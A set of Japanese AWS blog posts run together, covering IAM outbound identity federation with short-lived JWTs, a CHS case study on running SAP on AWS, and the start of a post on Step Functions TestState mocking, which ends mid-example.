ABAC の詳細については、 Amazon S3 ユーザーガイド を参照してください。 コスト割り当てでも、アクセス制御に使用するのと同じタグを使用できます。そのようなタグは、AWS 請求コンソールまたは API を使用してコストアロケーションタグとして有効化できます。 コストアロケーションタグの使用方法 の詳細については、該当するドキュメントをご覧ください。 原文は こちら です。

複数のクラウドプロバイダーにまたがるアプリケーションや、外部サービスと統合するアプリケーションを構築する場合、デベロッパーは、認証情報をセキュアに管理するという永続的な課題に直面します。従来のアプローチでは、API キーやパスワードなどの長期的な認証情報を保存する必要があり、セキュリティリスクと運用上のオーバーヘッドが生じていました。 2025 年 11 月 19 日、AWS Identity and Access Management (IAM) アウトバウンド ID フェデレーション という新機能を発表しました。この機能を使用すると、お客様は、長期的な認証情報を保存することなく、Amazon Web Services (AWS) ID を外部サービスに安全にフェデレーションできます。今後は、有効期間の短い JSON Web Token (JWT) を使用して、幅広いサードパーティープロバイダー、Software as a Service (SaaS) プラットフォーム、セルフホスト型アプリケーションで AWS ワークロードを認証できるようになります。 この特徴量により、IAM ロールやユーザーなどの IAM プリンシパルは、AWS ID をアサートする暗号署名された JWT を取得できます。サードパーティープロバイダー、SaaS プラットフォーム、オンプレミスアプリケーションなどの外部サービスは、トークンの署名を検証することでトークンの信頼性を検証できます。検証が成功すると、外部サービスにセキュアにアクセスできます。 仕組み IAM アウトバウンド ID フェデレーションでは、お客様の AWS IAM 認証情報を、有効期間の短い JWT に交換します。これにより、長期的な認証情報に関連するセキュリティリスクを軽減しながら、一貫した認証パターンを実現できます。 AWS で実行されているアプリケーションが外部サービスとインタラクションする必要があるシナリオを、順を追って見ていきましょう。外部サービスの API またはリソースにアクセスするために、アプリケーションは、AWS Security Token Service (AWS STS) の `GetWebIdentityToken` API を呼び出して JWT を取得します。 次の図は、このフローを示しています: AWS で実行されているアプリケーションは、 GetWebIdentityToken API を呼び出して AWS STS からのトークンをリクエストします。アプリケーションは、基盤となるプラットフォーム (Amazon EC2 インスタンスプロファイル、AWS Lambda 実行ロール、または他の AWS コンピューティングサービスなど) から取得した既存の AWS 認証情報を使用して、この API コールを認証します。 AWS STS は、アプリケーションの ID をアサートする、暗号署名された JSON Web Token (JWT) を返します。 アプリケーションは、認証のために JWT を外部サービスに送信します。 外部サービスは、JSON Web Key Set (JWKS) エンドポイントから検証キーを取得し、トークンの信頼性を検証します。 外部サービスは、これらの検証キーを使用して JWT の署名を検証し、トークンが本物であり、AWS によって発行されたものであることを確認します。 検証が成功すると、外部サービスは JWT を自身の認証情報と交換します。その後、アプリケーションは、これらの認証情報を使用して、目的の操作を実行できます。 AWS IAM アウトバウンド ID フェデレーションのセットアップ この特徴量を使用するには、自分の AWS アカウントのためにアウトバウンド ID フェデレーションを有効にする必要があります。 IAM に移動し、左側のナビゲーションペインで [アクセス管理] の下にある [アカウント設定] を選択します。 この特徴量を有効にすると、AWS は AWS アカウントのために一意の発行者 URL を生成します。この URL は、 /.well-known/openid-configuration と /.well-known/jwks.json にある OpenID Connect (OIDC) 検出エンドポイントをホストします。OpenID Connect (OIDC) 検出エンドポイントには、トークンの検証に必要なキーとメタデータが含まれています。 次に、IAM 許可を設定する必要があります。トークンをリクエストするには、IAM プリンシパル (ロールまたはユーザー) に sts:GetWebIdentityToken 許可が付与されている必要があります。 例えば、次の ID ポリシーは STS GetWebIdentityToken API に対するアクセスを指定し、IAM プリンシパルがトークンを生成できるようにします。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "sts:GetWebIdentityToken", "Resource": "*", } ] } この段階で、AWS アカウントによって発行されたトークンを信頼して受け入れるように外部サービスを設定する必要があります。具体的なステップはサービスによって異なりますが、一般的には次のステップが含まれます: AWS アカウントの発行者 URL を、信頼された ID プロバイダーとして登録する 検証するクレーム (オーディエンス、サブジェクトパターン) を設定する トークンクレームを外部サービスの許可にマッピングする 始めましょう では、クライアント側のトークン生成とサーバー側の検証プロセスの両方を示す例を、順を追って見ていきましょう。 まず、STS GetWebIdentityToken API を呼び出して、AWS ID をアサートする JWT を取得します。API を呼び出すときに、対象オーディエンス、署名アルゴリズム、トークンの有効期間をリクエストパラメータとして指定できます。 Audience : JWT の `aud` クレームに、トークンの受信者 (例: “my-app”) が明らかになるように入力します DurationSeconds : トークンの有効期間 (秒)。範囲は 60 秒 (1 分) から 3600 秒 (1 時間) で、デフォルトは 600 秒 (5 分) です SigningAlgorithm : ES384 (P-384 と SHA-384 を使用した ECDSA) または RS256 (SHA-256 を使用した RSA) のいずれかを選択します Tags (オプション): トークン内でカスタムクレームとして表示される key-value ペアの配列。これを使用することで、外部サービスがきめ細かなアクセス制御を実装できるようにするための追加コンテキストを含めることができます AWS SDK for Python (Boto3) を使用して ID トークンを取得する例を次に示します。これは、 AWS コマンドラインインターフェイス (AWS CLI) を使用して実行することもできます。 import boto3 sts_client = boto3.client('sts') response = sts_client.get_web_identity_token( Audience=['my-app'], SigningAlgorithm='ES384', # または 'RS256' DurationSeconds=300 ) jwt_token = response['IdentityToken'] print(jwt_token) これにより、任意の JWT パーサーを使用して検査できる署名付き JWT が返されます。 { eyJraWQiOiJFQzM4NF8wIiwidHlwIjoiSldUIiwiYWxnIjoiRVMzODQifQ.hey&lt;REDACTED FOR BREVITY&gt;... このトークンは、 JWT Debugger などの任意の JWT パーサーを使用してデコードできます。トークンのヘッダーには、ES384 (ECDSA) で署名されていることが示されています。 { "kid": "EC384_0", "typ": "JWT", "alg": "ES384" } また、ペイロードには、標準の OIDC クレームと AWS 固有のメタデータが含まれています。標準の OIDC クレームには、サブジェクト (“sub”)、オーディエンス (“aud”)、発行者 (“iss”) などが含まれます。 { "aud": "my-app", "sub": "arn:aws:iam::ACCOUNT_ID:role/MyAppRole", "https://sts.amazonaws.com/": { "aws_account": "ACCOUNT_ID", "source_region": "us-east-1", "principal_id": "arn:aws:iam::ACCOUNT_ID:role/MyAppRole" }, "iss": "https://abc12345-def4-5678-90ab-cdef12345678.tokens.sts.global.api.aws", "exp": 1759786941, "iat": 1759786041, "jti": "5488e298-0a47-4c5b-80d7-6b4ab8a4cede" } また、AWS STS は、ID 固有のクレーム (アカウント ID、組織 ID、プリンシパルタグなど) とセッションコンテキストでトークンをエンリッチ化します。これらのクレームは、トークンリクエストの発信元であるコンピューティング環境とセッションに関する情報を提供します。AWS STS は、リクエスト元のプリンシパルのセッションコンテキストに基づいて、該当する場合にこれらのクレームを自動的に含めます。リクエストタグを API コールに渡すことで、トークンにカスタムクレームを追加することもできます。JWT で提供されるクレームの詳細については、 ドキュメントページ にアクセスしてください。 iss (発行者) クレームに注意してください。これは、信頼された AWS アカウントからトークンが発行されたことを検証するために外部サービスが使用する、アカウント固有の発行者 URL です。外部サービスは、発行者 URL の /.well-known/jwks.json エンドポイントでホストされているパブリック JSON Web Key Set (JWKS) エンドポイントで使用可能な AWS の検証キーを使用して署名を検証することで、JWT を検証できます。 では、外部サービスがこの ID トークンをどのように処理するのかを見てみましょう。 外部サービスが AWS トークンを検証するために使用できる Python の例のスニペットを次に示します: import json import jwt import requests from jwt import PyJWKClient # 信頼された発行者リスト – EnableOutboundFederation API レスポンスから取得されます TRUSTED_ISSUERS = [ "https://EXAMPLE.tokens.sts.global.api.aws", # 信頼された AWS アカウント発行者の URL をここに追加します # EnableOutboundFederation API レスポンスから取得されます ] def verify_aws_jwt(token, expected_audience=None): """Verify an AWS IAM outbound identity federation JWT""" try: # トークンから発行者を取得します unverified_payload = jwt.decode(token, options={"verify_signature": False}) issuer = unverified_payload.get('iss') # 発行者が信頼されていることを検証します if not TRUSTED_ISSUERS or issuer not in TRUSTED_ISSUERS: raise ValueError(f"Untrusted issuer: {issuer}") # PyJWKClient を使用して AWS から JWKS を取得します jwks_client = PyJWKClient(f"{issuer}/.well-known/jwks.json") signing_key = jwks_client.get_signing_key_from_jwt(token) # トークンの署名とクレームを検証します decoded_token = jwt.decode( token, signing_key.key, algorithms=["ES384", "RS256"], audience=expected_audience, issuer=issuer ) return decoded_token except Exception as e: print(f"Token verification failed: {e}") return None IAM ポリシーを使用したトークン生成へのアクセス制御 IAM プリンシパル (ロールやユーザーなど) が外部サービスでの認証用のトークンをリクエストするには、IAM ポリシーで sts:GetWebIdentityToken 許可が付与されている必要があります。AWS アカウント管理者は、ID ポリシー、サービスコントロールポリシー (SCP)、リソースコントロールポリシー (RCP)、仮想プライベートクラウドエンドポイント (VPCE) ポリシーなど、関連するすべての AWS ポリシータイプでこの許可を設定することで、アカウント内のどの IAM プリンシパルがトークンを生成できるのかを制御できます。 さらに、管理者は、新しい条件キーを使用して、署名アルゴリズム ( sts:SigningAlgorithm )、許可されるトークンオーディエンス ( sts:IdentityTokenAudience )、およびトークンの最大有効期間 ( sts:DurationSeconds ) を指定できます。条件キーの詳細については、「 IAM および STS 条件キー」のドキュメント ページにアクセスしてください。 知っておくべき追加情報 このリリースに関する重要な詳細を次に示します: ご利用いただけるリージョン – AWS IAM アウトバウンド ID フェデレーションは、すべての AWS 商用リージョン 、 AWS GovCloud (米国) リージョン 、および中国リージョンで追加料金なしでご利用いただけます。 料金 – この特徴量は追加料金なしでご利用いただけます。 AWS IAM アウトバウンド ID フェデレーションの使用を開始するには、 AWS IAM コンソール にアクセスし、AWS アカウントでこの特徴量を有効にしてください。詳細については、「 AWS ID と外部サービスのフェデレーション 」ドキュメントページにアクセスしてください。 構築がうまくいきますように! –&nbsp; Donnie 原文は こちら です。

CHSのSAPチームメンバーであるHaritha Malempati、Naresh Kumar Aedudodla、Mukesh Kakaniとの共著 AWSのお客様であるCHSは、2020年にSAP on AWSの旅を始めて以来、クラウドでの運用について多くのことを学んできました。本日は、クラウドでの4年以上にわたる本番運用を振り返り、CHSに毎日依存している750の協同組合と75,000の生産者に対して、効率性の向上とほぼゼロのダウンタイムをどのように実現したかを探ります。 750の協同組合と75,000の生産者に対する効率性の向上とほぼゼロのダウンタイム SAPシステムのリフレッシュとOSアップグレードをモダナイゼーションすることで、ビジネスへの影響を軽減しながら継続的な改善を実現 「コードとしてのSAP」を定義することで、データ整合性保護を強化し、よりきめ細かなアクセス制御を実現 分散システムと高度なクラウド機能を使用して、計画外のダウンタイムを排除 「コードとしてのSAP」を定義することで、ビルド、デプロイ、変更プロセスを合理化 SAPアプリケーションを自動スケーリングして、過剰な支出なしに変化するビジネスニーズに適応 CHSのSAPモダナイゼーションの旅の始まり CHS は、 約100年前にさかのぼるルーツ を持つ米国を拠点とするグローバルなアグリビジネス協同組合です。彼らは、アメリカの農村部とその先の農家やお客様に、多様な農学、穀物、エネルギー製品とサービスを提供しています。CHSは2020年に SAP on AWS の経験を開始し、 2021年にイノベーションとコストに関する初期の成果を公開しました 。この投稿は、AWSで本番環境でSAPを4年間実行してきた彼らの学びを拡張するものです。 多くの大企業と同様に、 CHSは60年以上にわたって企業データセンターを運営してきました 。現在、CHSはAWS上でSAPをネイティブに実行しています。AWSは、さまざまなSAPユースケースに最適化された 幅広いSAP認定インスタンス を含む、最も広範で深いコンピューティングオファリングを持つクラウドです。AWS上でSAPをネイティブにモダナイゼーションすることで、CHSはSAP Basisチームを自立したSAPプラットフォームチームに進化させる機会を得ました。彼らはオンプレミスからの移行を活用して、広範なDevOpsスキルを構築しました。学習とデプロイを加速するために、CHSは AWS Professional Services の支援を受け、 AWSの5,000以上のお客様に対する16年以上のクラウドでのSAP実行経験 から得たベストプラクティスを持つ経験豊富なビルダーをチームに組み込みました。 SAPモダナイゼーションの理由と方法 お客様がSAPをAWSに移行することを選択する理由はいくつかあります： イノベーションへのアクセスの増加 通常オンプレミスで手動で行われる 運用アクティビティを自動化 する能力 SAP環境のデプロイと実行にかかる労力とコストの削減 他のどのクラウドプロバイダーよりも多くのSAP実行経験を持つパートナーの一般的な利点 CHSは、SAP Infrastructure as Code（IaC） と自動化された管理を含む、移行に対する包括的なアプローチを開発しました。彼らは、ビルド自動化、起動/停止自動化、自動OSパッチ適用、アプリケーションサーバーの自動スケーリングを組み込みました。以下は、彼らの「コードとしてのSAP」アプローチの主要な要素です： SAP環境のデプロイ、構成、管理を合理化するための自動化の採用 継続的インテグレーションとデリバリー（CI/CD） 、自動化、IaCなどの最新のプラクティスとツールの採用により、SAPインフラストラクチャをコードで定義 SAPインフラストラクチャコードのバージョン管理と一元的な保存により、コラボレーションの促進、一貫性の推進、トレーサビリティの提供、必要に応じた迅速なロールバックを実現 デプロイ時間を短縮し、エラーのリスクを最小限に抑えるための綿密な計画と実装 Well-Architectedの結果 CHSチームの取り組みは、重要なビジネスシステムの運用の俊敏性とパフォーマンスを変革し、CHSに毎日依存している750の協同組合と75,000の生産者に効率性の向上とほぼゼロのダウンタイムを提供しました。彼らは新しいスキルを学び、より回復力のあるシステムを設計し、イノベーションを加速し、セキュリティを強化し、コストを最適化しました。 AWS Well-Architectedフレームワークの柱 は、これらの成果を文脈化するのに役立つ構造を提供します。 AWSは2015年にWell-Architectedを導入 し、何千ものお客様との協働から学んだベストプラクティスを体系化することで、お客様がクラウドアーキテクチャを改善できるよう支援しました。 2021年、AWSはフレームワークにSAP固有のレンズを公開しました 。 Well-Architectedの最新の更新は2024年に行われました 。6つの柱は以下の通りです： 運用の卓越性（Operational Excellence） セキュリティ（Security） 信頼性（Reliability） パフォーマンス効率（Performance Efficiency） コスト最適化（Cost Optimization） 持続可能性（Sustainability） 以下のCHSの学びについては、主なメリットごとに各柱に改善をグループ化していますが、ある柱でのメリットが他の柱でもメリットを生み出すことが多いことに気づくでしょう。例えば、変更の自動化（運用の卓越性）は、より高い信頼性とパフォーマンス効率の向上につながりました。リソース割り当ての合理化（パフォーマンス効率）は、よりきめ細かなセキュリティとコスト最適化の改善につながりました。そして、最初の5つの柱のいずれかでの成果は、通常、持続可能性にメリットをもたらします：利用率の最大化はより少ないリソースでより多くを達成し、コストの最適化はエネルギー使用を削減し、クラウドの回復力戦略はビジネス継続性を維持するためにより少ないリソースを使用します。 運用の卓越性：SAPシステムのリフレッシュとOSアップグレードをモダナイゼーションして、ビジネスへの影響を軽減しながら継続的な改善を提供 SAPシステムリフレッシュは、多くのSAPのお客様がモダナイゼーションしたいメンテナンス活動です。これは、SAP品質保証（QA）システムのシステム整合性とデータ一貫性を維持しますが、通常、複数のプロジェクトを中断する数日間のダウンタイムが必要です。CHSの場合、技術的なダウンタイムは3日間で、ビジネス関係者はそのダウンタイムを避けるためにシステムリフレッシュを遅らせることが多く、スケジューリングの混乱を引き起こし、重要なプロジェクトのテストサイクルを中断していました。AWSへの移行の一環として、CHS SAPプラットフォームチームは、システムリフレッシュに対する革新的でクラウドネイティブなアプローチを開発し、技術的なダウンタイムを3日間から10時間以下に86%削減しました。彼らのアプローチは エフェメラルインフラストラクチャ を活用し、QAアプリケーションとデータベースの一時的なクローンを作成して、本番QAシステムが中断なくビジネスにサービスを提供し続ける間に、時間のかかる後処理ステップを実行します。ビジネスへの影響が86%小さくなったため、ビジネス関係者がシステムリフレッシュイベントを遅らせることはほとんどなくなりました。 オンプレミス環境で優先順位が下げられることが多かったもう1つのメンテナンスタスクは、オペレーティングシステム（OS）のアップグレードでした。長時間のダウンタイムと複数のチームが必要なため、ビジネスは週末にのみそれらを許可していました。停止日には、インフラストラクチャチームとSAP Basisチーム間で最大8時間の調整と引き継ぎが必要でした。OSアップグレードを遅らせることは、新しいイノベーションとセキュリティ修正へのアクセスを遅らせることを意味しました。現在、「コードとしてのSAP」により、OSアップグレードは通常の営業時間中に、ダウンタイムなしで、単一のチームによって管理され、より速く行われます。これを可能にするために、CHS SAPプラットフォームチームは、ビジネスへの中断をほとんどまたはまったくなしにその場でアップグレードできる 高可用性 システムを設計しました。すべてのサーバー（個々のアプリケーション、セントラルサービス（SCS）、エンキューレプリケーションサーバー（ERS）、HANAデータベース）は、1つずつ順次アップグレードされます。 改善はシステムリフレッシュとOSアップグレードにとどまりません。 AWS Systems Manager（SSM）for SAP を使用してSAP運用を自動化することで、システムパッチ、SAPカーネル更新、HANAパッチ更新も月次パッチサイクルポリシーに準拠させることができます。 セキュリティ：データ整合性保護を強化し、よりきめ細かなアクセス管理を行うための「コードとしてのSAP」 AWSでは、 セキュリティが最優先事項 です。CHSにとって、「コードとしてのSAP」アプローチは、保存時と転送時の両方でデータ暗号化を標準化するのに役立ちます。彼らのSAP実装は、 Well-Architectedセキュリティの柱 の多くの原則に従っています。これには、AWSサービスに組み込まれた業界標準のAES-256およびTransport Layer Security（TLS）暗号化、時間の経過とともにセキュリティの変更を検出するための監視、各アプリケーションに固有の狭い範囲のアクセス制御が含まれます。SAPアプリケーションセキュリティテンプレートをバージョン管理および制御することで、CHSは組織のセキュリティ標準への準拠を検証可能に確認できます。自動化により、手動作業が大幅に削減され、ほぼゼロのダウンタイムと日常業務への最小限の中断で最新のセキュリティが提供されます。CHSは、これらのセキュリティ効率の向上を活用して、ビジネスの成長を促進する戦略的イニシアチブにより多くの焦点を当てています。 信頼性：分散システムと高度なクラウド機能により計画外のダウンタイムを排除 CHSは、旅の早い段階で、AWSのファイルシステムにおけるイノベーションがビジネス継続性の維持に役立つことを認識しました。 Amazon Elastic File System（EFS） は、完全マネージドサービスとして、サーバーレスで弾力性があり、設定不要のファイルストレージを提供します。 Amazon FSx は、さまざまな商用およびオープンソースのファイルシステムを同様に簡単に起動、実行、スケーリングできるようにします。FSxは、特定のSAP認定ストレージタイプをクラウドで実行する最初のストレージサービスであり、人気のある堅牢なデータ管理機能をAWSの俊敏性、スケーラビリティ、回復力にもたらしました。 CHSは、FSxに固有のいくつかの貴重な機能を特定しました：ストレージクラスタリング、データレプリケーション、メンテナンス活動やハードウェア障害時でもデータの高可用性を維持するフェイルオーバーメカニズムです。これらの強力な機能により、SAPプラットフォームチームは、いくつかの興味深いSAPユースケースのために、AWSで重要なファイルシステムデータをホストする自信を得ました。例えば、FSxはSAPアプリケーションファイルの適切な暗号化と権限を確保するのに役立ちます。また、災害復旧（DR）システムへのレプリケーションを実行し、データの回復力を向上させます。 これまでのところ、これらの取り組みにより、計画外の停止が排除されました。そして、FSxはこれらのユースケースに適していましたが、EFSは Infrequent Access（IA）ストレージクラス を介して異なるメリットを提供しました。CHSは、30日間アクセスされていないファイルをEFS IAに移動することでコストを最適化しています。 パフォーマンス効率：ビルド、デプロイ、変更プロセスを合理化するための「コードとしてのSAP」 移行後、CHSのスピードと俊敏性の両方が向上しました。クラウド以前は、典型的なSAPサーバーのビルドリクエストには約2週間かかっていました。現在、SAPプラットフォームチームは約1日で新しいSAPサーバーを稼働させることができます。あるサードパーティアプリケーションの場合、IaCは必要なサーバーのデプロイを支援しただけでなく、その狭い範囲のアプリケーション固有のインスタンスの再利用可能なテンプレートも確立しました。このような再構築されたプロビジョニングプロセスにより、SAPに依存してお客様にサービスを提供するCHSのビジネスチームは、これまで以上に速く変化する要件に適応できるようになりました。 新しいリソースをより効率的に提供することに加えて、IaCはCHSが変更管理を標準化および合理化し、未使用のリソースを廃止するのに役立ちます。オンプレミス環境では、CPUまたはメモリのアップグレードリクエストに対応するために、5日間のチケット処理と承認キューが必要でした。現在、クラウドでは、サーバータイプや Amazon Elastic Block Store（EBS） ボリュームプロパティへの同様の変更リクエストを、わずか30分で実装しています。「コードとしてのSAP」に付属する 継続的インテグレーション/継続的デリバリー（CI/CD） パイプラインにより、変更が透明でトレーサブルになり、古いリソースを自動的に廃止することがよくあります。これらの機能により、CHSは重要な負荷テスト中にSAPインフラストラクチャをスケーリングし、その後のクリーンアップを簡素化できます。 コスト最適化：過剰な支出なしに変化するビジネスニーズに適応するためのSAPアプリケーションの自動スケーリング これまで説明してきたメリットのほとんどは、CHSのコスト最適化にも役立ちます。クラウドの最も影響力のある価値の1つは、数分でスケールアップおよびスケールダウンでき、現在のお客様の需要に対応するために必要なリソースに対してのみ支払うことができることです。ほとんどのアプリケーションでは、標準の Amazon EC2 Auto Scaling メトリクスと機能がうまく機能します。ただし、SAPアプリケーションが効果的に自動スケーリングするには、お客様はワークプロセスの消費やバックグラウンドジョブの完了などのSAP固有のニュアンスを考慮する必要があります。CHSは、AWS Professional Servicesの SAP Application Auto Scalingソリューション を使用しています。これは、SAP固有の自動スケーリングのベストプラクティスを実装するために、ネイティブIaCとしてターンキーソリューションを提供します。その結果、彼らのSAPアプリケーションは、受信リクエストに応じて必要に応じてリソースをプロビジョニングし、需要が少ない期間にはスケールダウンしてコストを最小限に抑えます。すべて手動介入なしで行われます。CHSは学習とモダナイゼーションを続け、 2021年に共有した 節約にこれらの節約を追加しています。 結論 私たちは、チームがより価値の高い仕事に集中できるようにし、イノベーションとキャリアの成長を促進しました。 – Shane VanderVoort、クラウドおよびエンタープライズテクノロジー担当シニアディレクター CHSの「コードとしてのSAP」アプローチは、SAPワークロードの俊敏性、信頼性、スケーラビリティ、セキュリティ、効率性を変革しました。自動化を採用することで、彼らの進歩を加速し、将来のイノベーションと成長の基盤を構築しました。 この旅が始まったときにSAPエンジニアリングのディレクターだったShane VanderVoortは、現在、クラウドおよびエンタープライズテクノロジーオペレーション担当シニアディレクターとしてCHSのSAPを監督しています： 「私たちのアプローチは、お客様にサービスを提供する能力に革命をもたらしました。ダウンタイムを大幅に削減し、サービスの中断を最小限に抑えました。システム変更を迅速に、ビジネスへの影響を最小限に抑えてデプロイする能力は、ゲームチェンジャーであり、私たちがサポートする協同組合と生産者がスムーズに、中断なく運営できることを保証しています。その結果、私たちは応答性と全体的なお客様体験を向上させました。」 VanderVoortは続けます： 「従業員側では、自動化と最先端技術の統合により、運用効率が向上しただけでなく、スタッフの士気も向上しました。反復的なタスクを合理化することで、チームがより価値の高い仕事に集中できるようにし、イノベーションとキャリアの成長を促進しました。この変化により、CHSはより活気があり、やりがいのある職場となり、将来の継続的な成功に向けて私たちを位置づけています。」 本日強調したようなイノベーションは、CHSが ミネソタ州のFortune 500企業のトップ3 であり続けるのに役立っています。 VanderVoortの言葉で： 「CHSは、最先端の技術と支援的で協力的な文化を組み合わせているため、働くのに最適な場所です。従業員は、イノベーションを起こし、スキルを成長させ、実際の影響を与えることができ、すべて専門的な開発とチームワークの両方を重視する環境で働いています。」 詳細情報 SAP on AWS を探索 CI/CD、IaC、SDK、IDEなどのAWS開発者ツール を発見 AWS Well-Architected が組織のクラウド使用を改善する方法をお読みください AWSの農業向けソリューション を閲覧 著者について Haritha Malempati（CHS） SAPクラウドオペレーションエンジニア Harithaは、DevOpsツールを通じてSAPインフラストラクチャを構築および維持する取り組みをCHSで主導しています。SAP BASISエンジニアとして15年以上の経験を持ち、SAPスキルとDevOpsの専門知識を融合させて、インスタンスのビルド、更新、メンテナンスを自動化しています。彼女の現在の焦点は、自動化とコスト最適化です。彼女は、SAPプラットフォームチームが高度に安定した、コスト最適化されたシステムを実現するのを支援する上で重要な役割を果たしています。 Naresh Kumar Aedudodla（CHS） シニアシステムエキスパート Nareshは現在、SAPプラットフォームチームに所属しており、SAPシステムのインフラストラクチャ設計、自動化、インストール、運用サポートを主導しています。SAP BASISにおける18年間の深い専門知識は、高可用性、災害復旧、パフォーマンス最適化に焦点を当てたエンドツーエンドのSAPシステム構築に及びます。Nareshは協力的で技術的なリーダーであり、複雑なSAPクラウド変革プロジェクトの信頼できる専門家です。 Mukesh Kakani（CHS） シニアマネージャー、プロダクトデリバリーSAPプラットフォーム Mukeshは、SAP BASISプラットフォームを専門とする21年以上の経験を持つハンズオンITリーダーです。現在、MukeshはCHSのSAPプラットフォームチームを管理しており、自動化、ダウンタイムの削減、セキュリティ、コスト最適化に焦点を当てた、AWS上での大規模なSAP実装の設計と実行において重要な役割を果たしてきました。 Tom Lauducci（AWS） シニアソリューションアーキテクト Tomは過去4年間、CHSのクラウド変革をサポートしてきました。Amazonでの13年間で、彼はフルフィルメントセンターツアーで見られるワークステーションとロボティクス、およびAWSデータセンターの物理的なデータセキュリティシステムも設計しました。Tomはイベントスピーカー、特許保有者、ブログ著者、技術アドバイザーです。彼は6つのAWS認定を保持しており、R&amp;D、エンジニアリング、製造、販売において複数の業界で20年以上の経験があります。 Bidwan Baruah（AWS） シニアスペシャリストソリューションアーキテクト、SAP on AWS Bidwanは、SAPのクラウド移行とデジタル変革の複雑さを通じて企業を導くことを専門としています。AWSでの5年間で、彼はCHSや他の多くの企業がSAPワークロードを移行およびモダナイゼーションするのを支援してきました。Bidwanは著名なスピーカーおよび著者であり、講演活動や技術出版物を通じて定期的に専門知識を共有しています。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

2025 年 11 月 19 日は、AWS のテスト API である TestState API を使用した AWS Step Functions のローカルテスト機能強化について皆さんにお知らせしたいと思います。 これらの機能強化は TestState API 経由で利用できるため、任意のテストフレームワークを使用して開発マシン上でワークフロー定義をローカルに検証し、エラー処理パターン、データ変換、サービスのモック統合をテストする自動テストスイートを構築できます。今回のリリースによってローカルユニットテストのための API ベースのアプローチが導入されたので、 Amazon Web Services (AWS) にデプロイしなくても包括的なテスト機能にプログラム的にアクセスできるようになります。 強化された TestState API には、次の 3 つの主要機能が導入されています。 モックサポート – ダウンストリームのサービスを呼び出すことなくステート出力とエラーをモックできるため、ステートマシンロジックの真のユニットテストが可能になります。TestState は、STRICT (すべての必須フィールドを検証するデフォルトモード）、PRESENT (フィールドのタイプと名前を検証)、NONE (検証なし) の 3 つの検証モードを使用してモックレスポンスを AWS API モデルに照らして検証することで、忠実度の高いテストを実現します。 すべてのステートタイプのサポート – Map ステート (インラインおよび分散)、Parallel ステート、アクティビティベースの Task ステート、.sync サービス統合パターン、.waitForTaskToken サービス統合パターンなどの高度なステートを含めたすべてのステートタイプをテストできるようになりました。これは、ステートの遷移、エラー処理、データ変換などの制御フローロジックを検証するために、ワークフロー定義全体で TestState API を使用し、ユニットテストを作成できることを意味します。 個々のステートのテスト – 新しい StateName パラメータを使用して、完全なステートマシン定義内で特定のステートをテストします。完全なステートマシン定義を 1 度提供するだけで、各ステートを名前で個別にテストできます。実行コンテキストを制御して、特定のリトライ試行、Map のイテレーション順番、エラーシナリオをテストできます。 強化された TestState の使用を開始する 強化された TestState の新機能を順を追って見ていきましょう。 シナリオ 1: 正常な結果をモックする 1 つ目の機能はモックサポートです。この機能を使用して、実際の AWS サービスや外部の HTTP リクエストさえも呼び出すことなくワークフローロジックをテストできます。ユニットテストをすばやく行うためにサービスレスポンスをモックしたり、統合テストのために実際の AWS サービスを使ってテストしたりできます。モックレスポンスを使用するときに AWS Identity and Access Management (IAM) 許可は必要ありません。 以下は、正常な AWS Lambda 関数レスポンスをモックする方法です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "process-order"}, "End": true }' \ --mock '{"result":"{\"orderId\":\"12345\",\"status\":\"processed\"}"}' \ --inspection-level DEBUG このコマンドは、実際に関数を呼び出すことなく Lambda 呼び出しステートをテストします。TestState は、モックレスポンスを Lambda サービス API モデルに照らして検証して、テストデータがサービスから実際に返されるものと一致することを確認します。 レスポンスには、実行が正常に行われたことと、詳細な検査データが表示されます (DEBUG 検査レベルの使用時）。 { "output": "{\"orderId\":\"12345\",\"status\":\"processed\"}", "inspectionData": { "input": "{}", "afterInputPath": "{}", "afterParameters": "{\"FunctionName\":\"process-order\"}", "result": "{\"orderId\":\"12345\",\"status\":\"processed\"}", "afterResultSelector": "{\"orderId\":\"12345\",\"status\":\"processed\"}", "afterResultPath": "{\"orderId\":\"12345\",\"status\":\"processed\"}" }, "status": "SUCCEEDED" } モックレスポンスを指定すると、TestState がそのレスポンスを AWS サービスの API モデルに照らして検証し、モックされたデータが期待されるスキーマに従っているのを確認するため、実際の AWS サービスコールを必要とせずに忠実度の高いテストを維持できます。 シナリオ 2: エラー状態をモックする エラー状態をモックしてエラー処理ロジックをテストすることも可能です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "process-order"}, "End": true }' \ --mock '{"errorOutput":{"error":"Lambda.ServiceException","cause":"Function failed"}}' \ --inspection-level DEBUG このコマンドは Lambda サービス例外をシミュレートするので、AWS 環境内でエラーを実際に発生させることなく、ステートマシンがどのように失敗を処理するのかを検証できます。 レスポンスには、失敗した実行とエラーの詳細が表示されます。 { "error": "Lambda.ServiceException", "cause": "Function failed", "inspectionData": { "input": "{}", "afterInputPath": "{}", "afterParameters": "{\"FunctionName\":\"process-order\"}" }, "status": "FAILED" } シナリオ 3: Map ステートをテストする 2 番目の機能は、これまでサポートされていなかったステートタイプのサポートを追加します。以下は、Distributed Map ステートをテストする方法です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Map", "ItemProcessor": { "ProcessorConfig": {"Mode": "DISTRIBUTED", "ExecutionType": "STANDARD"}, "StartAt": "ProcessItem", "States": { "ProcessItem": { "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "process-item"}, "End": true } } }, "End": true }' \ --input '[{"itemId":1},{"itemId":2}]' \ --mock '{"result":"[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]"}' \ --inspection-level DEBUG モック結果は、複数アイテムの処理からの完全な出力を表しています。この場合、モック配列が期待される Map ステートの出力形式と一致する必要があります。 レスポンスは、配列入力が正常に処理されたことを示しています。 { "output": "[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]", "inspectionData": { "input": "[{\"itemId\":1},{\"itemId\":2}]", "afterInputPath": "[{\"itemId\":1},{\"itemId\":2}]", "afterResultSelector": "[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]", "afterResultPath": "[{\"itemId\":1,\"status\":\"processed\"},{\"itemId\":2,\"status\":\"processed\"}]" }, 